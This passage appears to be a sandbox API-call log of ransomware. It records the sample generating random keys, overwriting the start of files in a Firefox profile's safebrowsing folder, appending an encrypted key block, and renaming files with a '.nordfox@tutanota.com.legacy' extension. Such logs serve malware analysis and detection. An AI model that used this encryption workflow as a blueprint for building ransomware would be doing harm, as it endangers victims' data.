lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.523] CloseHandle (hObject=0x1a4c) returned 1 [0177.524] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.524] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.525] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashallow-simple.sbstore", dwFileAttributes=0x80) returned 1 [0177.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x30d5248 [0177.526] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x6185d8 [0177.527] ReadFile (in: hFile=0x1a4c, lpBuffer=0x5e6e70, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e6e70*, lpNumberOfBytesRead=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.528] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.528] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5e6ab0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e6ab0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.528] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe8 [0177.528] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.528] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.529] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.529] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.529] CloseHandle (hObject=0x1a4c) returned 1 [0177.532] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.532] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0177.532] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flashallow-simple.pset", dwFileAttributes=0x80) returned 1 [0177.532] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x30d5cf0 [0177.532] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618460 [0177.533] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e200d8, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e200d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.533] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.533] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e20168*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20168*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.534] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0177.534] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.534] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.534] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.534] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.535] CloseHandle (hObject=0x1a4c) returned 1 [0177.536] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.536] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0177.536] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flash-simple.sbstore", dwFileAttributes=0x80) returned 1 [0177.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x30d64b0 [0177.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x6185d8 [0177.537] ReadFile (in: hFile=0x1a4c, lpBuffer=0x5e7410, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7410*, lpNumberOfBytesRead=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.538] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.538] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5e6e70*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e6e70*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.538] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe8 [0177.538] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.538] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.538] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.539] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.539] CloseHandle (hObject=0x1a4c) returned 1 [0177.543] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.543] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0177.543] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flash-simple.pset", dwFileAttributes=0x80) returned 1 [0177.543] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30d7068 [0177.543] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x609d58 [0177.544] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e20090, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20090*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.544] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.544] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e20078*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20078*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.545] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0177.545] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.545] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.545] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.545] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.546] CloseHandle (hObject=0x1a4c) returned 1 [0177.561] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0177.561] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.561] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.sbstore", dwFileAttributes=0x80) returned 1 [0177.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30d7890 [0177.561] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a2b8 [0177.562] ReadFile (in: hFile=0x1a4c, lpBuffer=0x5e6d80, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e6d80*, lpNumberOfBytesRead=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.563] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.563] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5e7140*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7140*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.563] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe8 [0177.563] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.563] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.563] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.564] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.564] CloseHandle (hObject=0x1a4c) returned 1 [0177.564] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.566] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0177.566] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.566] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.pset", dwFileAttributes=0x80) returned 1 [0177.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30caf10 [0177.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x609d58 [0177.567] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e200d8, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e200d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.567] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.567] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e20228*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20228*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.568] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0177.568] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.568] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.568] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.568] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.568] CloseHandle (hObject=0x1a4c) returned 1 [0177.568] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.570] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.570] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.570] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.sbstore", dwFileAttributes=0x80) returned 1 [0177.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x30d6a80 [0177.571] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x6188c8 [0177.571] ReadFile (in: hFile=0x1a4c, lpBuffer=0x5e7410, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e7410*, lpNumberOfBytesRead=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.572] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.572] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5e6e70*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e6e70*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe8, lpOverlapped=0x0) returned 1 [0177.572] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe8 [0177.572] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.572] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.572] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.572] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.573] CloseHandle (hObject=0x1a4c) returned 1 [0177.573] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.sbstore.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.575] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.575] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.575] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.pset", dwFileAttributes=0x80) returned 1 [0177.575] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30cad40 [0177.575] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a970 [0177.575] ReadFile (in: hFile=0x1a4c, lpBuffer=0x2e200d8, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e200d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.576] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.576] WriteFile (in: hFile=0x1a4c, lpBuffer=0x2e202a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e202a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10, lpOverlapped=0x0) returned 1 [0177.576] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10 [0177.576] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.576] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0177.577] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0177.577] WriteFile (in: hFile=0x1a4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0177.577] CloseHandle (hObject=0x1a4c) returned 1 [0177.577] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.pset.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.pset.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0177.578] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0177.578] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0177.578] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-track-simple.sbstore", dwFileAttributes=0x80) returned 1 [0177.579] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30cae28 [0177.579] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x60a6c0 [0177.579] ReadFile (in: hFile=0x1a4c, lpBuffer=0x61d538, nNumberOfBytesToRead=0x110, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61d538*, lpNumberOfBytesRead=0x2e1f9bc*=0x110, lpOverlapped=0x0) returned 1 [0177.580] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=-272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.580] WriteFile (in: hFile=0x1a4c, lpBuffer=0x61cc78*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61cc78*, lpNumberOfBytesWritten=0x2e1f9bc*=0x110, lpOverlapped=0x0) returned 1 [0177.580] SetFilePointer (in: hFile=0x1a4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x110 [0177.581] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0177.581] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, 